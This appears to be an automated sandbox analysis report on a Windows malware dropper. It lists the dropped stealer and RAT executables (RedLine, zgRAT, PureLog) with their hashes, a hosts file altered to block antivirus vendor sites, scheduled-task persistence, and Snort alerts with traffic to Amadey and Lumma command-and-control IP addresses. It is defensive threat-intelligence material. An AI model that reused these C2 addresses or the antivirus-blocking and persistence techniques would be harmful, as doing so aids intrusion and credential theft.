Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......A.&k..H8..H8..H8.I9..H8...8..H8..I8(.H8e.K9..H8e.L9..H8e.M9..H8e.H9..H8e..8..H8e.J9..H8Rich..H8................PE..d....9............" ... .....`......`.....................................................`A........................................0C..4...dK...............p..p....Z...'...........-..p............................,..@............................................text............................... ..`.rdata...A.......B..................@..@.data...0....`.......B..............@....pdata..p....p.......F..............@..@_RDATA..\............R..............@..@.rsrc................T..............@..@.reloc...............X..............@..B........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\yarl\_quoting_c.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000005001\judit.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	95232
Entropy (8bit):	5.94845436673918
Encrypted:	false
SSDEEP:	1536:2Kf5HiO/0ojuwGGZsV59LzaN9RIb8bx5OZ/WpJSY9OxtR3Dbdg:2Kxt/0ojkGZa4H+Ibvo/GJSYQxtR3Xd
MD5:	8B4CD87707F15F838B5DB8ED5B5021D2
SHA1:	BBC05580A181E1C03E0A53760C1559DC99B746FE
SHA-256:	EEFB46501EF97BAF29A93304F58674E70F5CCECAFB183F230E5CE7872A852F56
SHA-512:	6768CFF12FA22FE8540A3F6BDB350A5FCEC0B2A0F01531458EB23F77B24460620CD400078FD1EC63738884C2B78920E428126833953C26B8DC8AD8B7C069415D
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........].@..@..@......@...A..@...A..@...E..@...D..@...C..@...A..@..A.f.@../H..@../@..@../...@../B..@.Rich.@.........................PE..d...mYpe.........." ...%............P.....................................................`.........................................PX..d....X..x...............4...............,...pG..............................0F..@............ ..`............................text............................... ..`.rdata...L... ...N..................@..@.data....6...p.......X..............@....pdata..4............d..............@..@.rsrc................p..............@..@.reloc..,............r..............@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-2246122658-3693405117-2476756634-1003\76b53b3ec448f7ccdda2063b15d2bfc3_9e146be9-c76a-4720-bcdb-53011b87bd06

Download File

Process:	C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe
File Type:	data
Category:	dropped
Size (bytes):	2251
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	0158FE9CEAD91D1B027B795984737614
SHA1:	B41A11F909A7BDF1115088790A5680AC4E23031B
SHA-256:	513257326E783A862909A2A0F0941D6FF899C403E104FBD1DBC10443C41D9F9A
SHA-512:	C48A55CC7A92CEFCEFE5FB2382CCD8EF651FC8E0885E88A256CD2F5D83B824B7D910F755180B29ECCB54D9361D6AF82F9CC741BD7E6752122949B657DA973676
Malicious:	false
Reputation:	unknown
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Reputation:	unknown
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Reputation:	unknown
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\configurationValue\One.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	418304
Entropy (8bit):	5.822370106759041
Encrypted:	false
SSDEEP:	6144:q36Xzd34y0XhAUAjkbUH+nK8SwdhXroJywb0xDqgGDpKth6:q36WvhAp98ps0xev8
MD5:	816DF4AC8C796B73A28159A0B17369B6
SHA1:	DB8BBB6F73FAB9875DE4AAA489C03665D2611558
SHA-256:	7843255BC50DDDA8C651F51347313DAF07E53A745D39CC61D708C6E7D79B3647
SHA-512:	7DD155346ACF611FFAF6399408F6409146FD724D7D382C7E143E3921E3D109563C314A0367A378B0965E427470F36BF6D70E1586D695A266F34AEBD789965285
Malicious:	true
Yara Hits:	Rule: JoeSecurity_zgRAT_1, Description: Yara detected zgRAT, Source: C:\Users\user\AppData\Roaming\configurationValue\One.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Users\user\AppData\Roaming\configurationValue\One.exe, Author: Joe Security Rule: MALWARE_Win_zgRAT, Description: Detects zgRAT, Source: C:\Users\user\AppData\Roaming\configurationValue\One.exe, Author: ditekSHen
Antivirus:	Antivirus: ReversingLabs, Detection: 83%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....................0..4...,.......R... ...`....@.. ....................................@.................................pR..K....`...(........................................................................... ............... ..H............text....2... ...4.................. ..`.rsrc....(...`......6..............@..@.reloc...............`..............@..B.................R......H........`...z......K...p..................................................(......0...........s........~....%:....&~......!...s....%.....(...+o.....8[....o...............%..F~....(.....%..G~....(.....%..H~....(.....%..e~....(.....~....(.......o......8......(......s.......s9.......~....}....~...........s....(....o....}......{.....I~....(....o........9......I~....(.......8C........~....(....o....:......{....~....(....8......{....~....(.........(...........9........o........(

C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	311296
Entropy (8bit):	5.082978582796552
Encrypted:	false
SSDEEP:	3072:qq6EgY6iQrUjytA4dwP8Zk1tx/Efz+TAGtASRkFcZqf7D341eqiOLibBOh:pqY6iAwP6k1vQz+TAiAtFcZqf7DIfL
MD5:	15A7CAE61788E4718D3C33ABB7BE6436
SHA1:	62DAC3A5D50C93C51F2AB4A5EBF78837DC7D3A9F
SHA-256:	BED71147AA297D95D2E2C67352FC06F7F631AF3B7871EA148638AE66FC41E200
SHA-512:	5B3E3028523E95452BE169BDFB966CD03EA5DBE34B7B98CF7482CA91B8317A0F4DE224751D5A530EC23E72CBD6CC8E414D2D3726FEFEE9C30FEAB69DC348FA45
Malicious:	true
Yara Hits:	Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 88%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....6B...............0................. ... ....@.. ....................... ............@.....................................O.... ..............................x................................................ ............... ..H............text........ ...................... ..`.rsrc........ ......................@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Reputation:	unknown
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

C:\Windows\System32\drivers\etc\hosts

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000014001\services64.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1117
Entropy (8bit):	4.596294141775527
Encrypted:	false
SSDEEP:	24:QWDZh+ragzMZfuMMs1L/JU5fFCkK8T1rTthGCRfRBKJy:vDZhyoZWM9rU5fFc2RfRH
MD5:	D6F07B2DF0BD08AECA44B6AA714A3F6B
SHA1:	FEC1A6EE587A5166BD760CF66C36B691EEEDF8F9
SHA-256:	D77E1765CC5BE66A783E1C82FAAA325134911DA899903D74D14588D345497C7D
SHA-512:	23E92EBF5DEFFC8E42F7D4CE5BD43F793F77DE433EB1BA8A6EE0F03C004CB1E39A334F8441F44AEEF313DA3051C803348A363F2F7F853A716F56877DC7741CBB
Malicious:	true
Reputation:	unknown
Preview:	# Copyright (c) 1993-2009 Microsoft Corp...#..# This is a sample HOSTS file used by Microsoft TCP/IP for Windows...#..# This file contains the mappings of IP addresses to host names. Each..# entry should be kept on an individual line. The IP address should..# be placed in the first column followed by the corresponding host name...# The IP address and the host name should be separated by at least one..# space...#..# Additionally, comments (such as these) may be inserted on individual..# lines or following the machine name denoted by a '#' symbol...#..# For example:..#..# 102.54.94.97 rhino.acme.com # source server..# 38.25.63.10 x.acme.com # x client host....# localhost name resolution is handled within DNS itself...#.127.0.0.1 localhost..#.::1 localhost....0.0.0.0 kaspersky.com..0.0.0.0 drweb.com..0.0.0.0 360totalsecurity.com..0.0.0.0 emsisoftware.com..0.0.0.0 bitdefender.com..0.0.0.0 bitdefe

C:\Windows\Tasks\axplong.job

Download File

Process:	C:\Users\user\Desktop\DPqKF5vqpe.exe
File Type:	data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	3.3957551810403324
Encrypted:	false
SSDEEP:	6:55X9VzUEZ+lX1YC7UPelkDdtDsBZWVny0lSnzt0:bDQ1h7keeDov8VCzt0
MD5:	CDECF38BB6412FCAD840B220D72978D1
SHA1:	7F80DAABFE59AFD1F775E6A1D36A07DFD2DF7DFC
SHA-256:	E3C3770435CAC8F38362F0187E1978DA54515809796BED0F93E9A3EEF8EFBBAA
SHA-512:	29B7DF1669CB7F007EC6E1A3BA6C297C4B51DF988B4CBF571D0C3D9A023160EB96FB1EDD4F829A6D56DB994682DBB040D68EFDC71AB3B73F211974EF3CC215EE
Malicious:	false
Reputation:	unknown
Preview:	........Q..B..B.....F.......<... .....s.......... ....................9.C.:.\.U.s.e.r.s.\.t.o.t.t.i.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.8.2.5.4.6.2.4.2.4.3.\.a.x.p.l.o.n.g...e.x.e.........T.O.T.T.I.-.P.C.\.t.o.t.t.i...................0...................@3P.........................

C:\Windows\Tasks\peombdb.job

Download File

Process:	C:\Users\user\AppData\Local\Temp\RarSFX1\jergs.exe
File Type:	data
Category:	dropped
Size (bytes):	252
Entropy (8bit):	3.449848052621309
Encrypted:	false
SSDEEP:	6:yAi0p+/80e/ubhEZKn8AKnAtiDBsBZWVny0leWl//P1:TRp+S/ubBn8AgJmv8VVXt
MD5:	54D9E8DEE54B76B3DE9E5CFD13E7ED6F
SHA1:	2CA67CC4E28A5724A3C2B00DFD0E1213BEF8DCA8
SHA-256:	A02975AB98FEB8901422F581667F72CB3E7CA72495339410E8E893EDCA239215
SHA-512:	8C04ABF474ABD0FFBAA54F3075066AC89C8C29099D84DC449FC8B3B553771C3505B563F75B1E36E1C087CF9E75FE5B77ED688CE26FE9DDBF13B32E1544096DA2
Malicious:	false
Reputation:	unknown
Preview:	.....b.be..L.$.R.4.0F.......<... .....\.........."....................!.C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.o.k.i.l.i.\.p.e.o.m.b.d.b...e.x.e.....s.t.a.r.t.2.......T.O.T.T.I.-.P.C.\.t.o.t.t.i...................0.........L.....................................

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.298756981538991
Encrypted:	false
SSDEEP:	6144:4ECqOEmWfd+WQFly/9026ZTyaRsCDusBqD5dooi8lKSD6VJSRsq:dC+L6seqD5STSWVARt
MD5:	F5A517908D1F681715EC4122C3AACA69
SHA1:	9DA3F941DBA6DE51A767AA676AFA03D7FCD7150D
SHA-256:	695FE7E021FD22D56EF4DD3869201C765A4425E146E2019B62622977FD798661
SHA-512:	434A404E48C5325FB01AC0ED9D213F98E77C6EC3792EAFCEBF7FDD92F7662F27E12771F2C0310874CBACDD783F01D409DF8159388879C4EF475C63A8393F8FBE
Malicious:	false
Reputation:	unknown
Preview:	regfE...E....\.Z.................... ....`......\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm..z...............................................................................................................................................................................................................................................................................................................................................K`.N........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

\Device\Null

Download File

Process:	C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	216
Entropy (8bit):	4.7939492107989405
Encrypted:	false
SSDEEP:	6:C/Kj2RMQ60dsN+55nQPdF8VR9sNcaAJLfFtRTYxR0:x2nW+TnQU79WFsLTsR0
MD5:	7A454210D0E36A0F63C9AB6B792A5E50
SHA1:	C4553B6DCCCAD6E25BF2E6A5CEA4B0CC504C2485
SHA-256:	3B2089B345A79C23171502C4C55A76C42310F5268570CD1D7793ECF99009C5D8
SHA-512:	D3CA16294DECE51B705FBCB733736D4A1ABCB6C81A05CDC83C5F0BFAD221D6FA5DF83C72AF3AEA1970931B9CB9520E54D3EC924838873BB498E9016316EB4053
Malicious:	false
Reputation:	unknown
Preview:	Anti Debugging Started...Anti Debug Succesfully Executed...Started startup injection...unsupported or unkown startup method!..Succesfully executed startup injection...The code executed on: 59.286628007888794 second..

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.951387090151076
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	DPqKF5vqpe.exe
File size:	1'930'752 bytes
MD5:	713a645c9524d137db3c5547b12708f7
SHA1:	dc3a407cf08c26511f22f256182d3a240630925c
SHA256:	96190d67193af8ce4c121115007a1b757e6b581f31cbf7ba81f4f4828a81ffa8
SHA512:	83615c402b5bc7d7ca3e23979742b0aeb3d7c3ad4db197c910a3650668b2ee62a66c4bb7caa254b3319b37f182c1fb5560e3d755a7ad6e67c39d0f681d49f910
SSDEEP:	49152:+EH2UPihkNjmmnXY6dpoK1FghSqqNUXpK74BGY1l:Ccjmmo6To+ehQUXA4BN1l
TLSH:	21953307638346AFE9676934DF5A9888EAB595791C2FDBCE9C42B31744CF38817328D0
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........PJ.r>..r>..r>...=..r>...;.(r>.].:..r>.].=..r>.].;..r>...:..r>...?..r>..r?.^r>...7..r>......r>...<..r>.Rich.r>................

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x8ca000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x665ECF2A [Tue Jun 4 08:24:10 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F759CD53DCAh
andps xmm3, dqword ptr [00000000h]
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [esi], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [0600000Ah], al
or al, byte ptr [eax]
add byte ptr [edi], al
or al, byte ptr [eax]
add byte ptr [ecx], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add cl, byte ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
pushad
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x6a058	0x6c	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x69000	0x1e0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x4c8a9c	0x10	ysbzieoj
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x4c8a4c	0x18	ysbzieoj
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x68000	0x2dc00	ff950158c5a65b3b155897a36f9e139c	False	0.9983937414617486	data	7.983903616800653	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x69000	0x1e0	0x200	71903fbdc75197d79859efdf717a3530	False	0.583984375	data	4.530847687390136	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x6a000	0x1000	0x200	6e66ae8f9a75bc604a087c954abf8737	False	0.15234375	data	1.0684380430289213	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x6b000	0x2b8000	0x200	da5f26c04c3087dd02c7d64b59a76781	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
ysbzieoj	0x323000	0x1a6000	0x1a5e00	f53f806f8d4577342c42168f9b3699c8	False	0.9942563657407407	data	7.9542981534066115	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
zxuwvjyo	0x4c9000	0x1000	0x400	462e943268fc8e2fe63ec3531e70b045	False	0.716796875	data	5.74801271418981	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x4ca000	0x3000	0x2200	7c19fb1070f0af9354d9b594a9a12ba0	False	0.0627297794117647	DOS executable (COM)	0.7914295392242685	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x4c8aac	0x17d	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.5931758530183727

Imports

DLL	Import
kernel32.dll	lstrcpy

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
06/04/24-23:08:42.702746	TCP	2856147	ETPRO TROJAN Amadey CnC Activity M3	49703	80	192.168.2.11	77.91.77.81
06/04/24-23:09:13.759122	UDP	2052917	ET TROJAN Lumma Stealer Related CnC Domain in DNS Lookup	56703	53	192.168.2.11	1.1.1.1
06/04/24-23:09:13.792094	UDP	2052915	ET TROJAN Lumma Stealer Related CnC Domain in DNS Lookup	57701	53	192.168.2.11	1.1.1.1
06/04/24-23:09:13.817564	UDP	2052916	ET TROJAN Lumma Stealer Related CnC Domain in DNS Lookup	62829	53	192.168.2.11	1.1.1.1
06/04/24-23:08:43.922986	TCP	2856122	ETPRO TROJAN Amadey CnC Response M1	80	49703	77.91.77.81	192.168.2.11
06/04/24-23:09:11.046288	TCP	2044623	ET TROJAN Amadey Bot Activity (POST)	49712	80	192.168.2.11	77.91.77.81
06/04/24-23:09:13.804042	UDP	2052913	ET TROJAN Lumma Stealer Related CnC Domain in DNS Lookup	64033	53	192.168.2.11	1.1.1.1
06/04/24-23:09:13.776468	UDP	2052912	ET TROJAN Lumma Stealer Related CnC Domain in DNS Lookup	59059	53	192.168.2.11	1.1.1.1
06/04/24-23:09:13.744747	UDP	2052921	ET TROJAN Lumma Stealer Related CnC Domain in DNS Lookup	49201	53	192.168.2.11	1.1.1.1
06/04/24-23:09:13.902108	UDP	2052914	ET TROJAN Lumma Stealer Related CnC Domain in DNS Lookup	54524	53	192.168.2.11	1.1.1.1
06/04/24-23:09:13.894774	TCP	2044696	ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M2	49713	80	192.168.2.11	77.91.77.81
06/04/24-23:09:13.890006	UDP	2052920	ET TROJAN Lumma Stealer Related CnC Domain in DNS Lookup	53044	53	192.168.2.11	1.1.1.1

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jun 4, 2024 23:08:42.697252989 CEST	49703	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:08:42.702230930 CEST	80	49703	77.91.77.81	192.168.2.11
Jun 4, 2024 23:08:42.702426910 CEST	49703	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:08:42.702745914 CEST	49703	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:08:42.707612991 CEST	80	49703	77.91.77.81	192.168.2.11
Jun 4, 2024 23:08:43.612456083 CEST	80	49703	77.91.77.81	192.168.2.11
Jun 4, 2024 23:08:43.612584114 CEST	49703	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:08:43.614726067 CEST	49703	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:08:43.619688988 CEST	80	49703	77.91.77.81	192.168.2.11
Jun 4, 2024 23:08:43.922986031 CEST	80	49703	77.91.77.81	192.168.2.11
Jun 4, 2024 23:08:43.923053980 CEST	49703	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:08:43.926949978 CEST	49704	80	192.168.2.11	5.42.66.47
Jun 4, 2024 23:08:43.931869030 CEST	80	49704	5.42.66.47	192.168.2.11
Jun 4, 2024 23:08:43.931942940 CEST	49704	80	192.168.2.11	5.42.66.47
Jun 4, 2024 23:08:43.932081938 CEST	49704	80	192.168.2.11	5.42.66.47
Jun 4, 2024 23:08:43.937031031 CEST	80	49704	5.42.66.47	192.168.2.11
Jun 4, 2024 23:08:47.944390059 CEST	49704	80	192.168.2.11	5.42.66.47
Jun 4, 2024 23:08:52.960123062 CEST	49710	80	192.168.2.11	5.42.66.47
Jun 4, 2024 23:08:52.965100050 CEST	80	49710	5.42.66.47	192.168.2.11
Jun 4, 2024 23:08:52.965274096 CEST	49710	80	192.168.2.11	5.42.66.47
Jun 4, 2024 23:08:52.965455055 CEST	49710	80	192.168.2.11	5.42.66.47
Jun 4, 2024 23:08:52.970339060 CEST	80	49710	5.42.66.47	192.168.2.11
Jun 4, 2024 23:08:56.975754976 CEST	49710	80	192.168.2.11	5.42.66.47
Jun 4, 2024 23:09:02.011692047 CEST	49711	80	192.168.2.11	5.42.66.47
Jun 4, 2024 23:09:02.016571045 CEST	80	49711	5.42.66.47	192.168.2.11
Jun 4, 2024 23:09:02.016644001 CEST	49711	80	192.168.2.11	5.42.66.47
Jun 4, 2024 23:09:02.021035910 CEST	49711	80	192.168.2.11	5.42.66.47
Jun 4, 2024 23:09:02.025919914 CEST	80	49711	5.42.66.47	192.168.2.11
Jun 4, 2024 23:09:06.021940947 CEST	49711	80	192.168.2.11	5.42.66.47
Jun 4, 2024 23:09:11.040186882 CEST	49703	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:11.040505886 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:11.045821905 CEST	80	49703	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:11.045954943 CEST	49703	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:11.045986891 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:11.046072960 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:11.046288013 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:11.051327944 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:11.943929911 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:11.944066048 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:11.945257902 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:11.950334072 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.223119020 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.223151922 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.223190069 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.223210096 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.223243952 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.223264933 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.223299026 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.223298073 CEST	49712	80	192.168.2.11	77.91.77.81
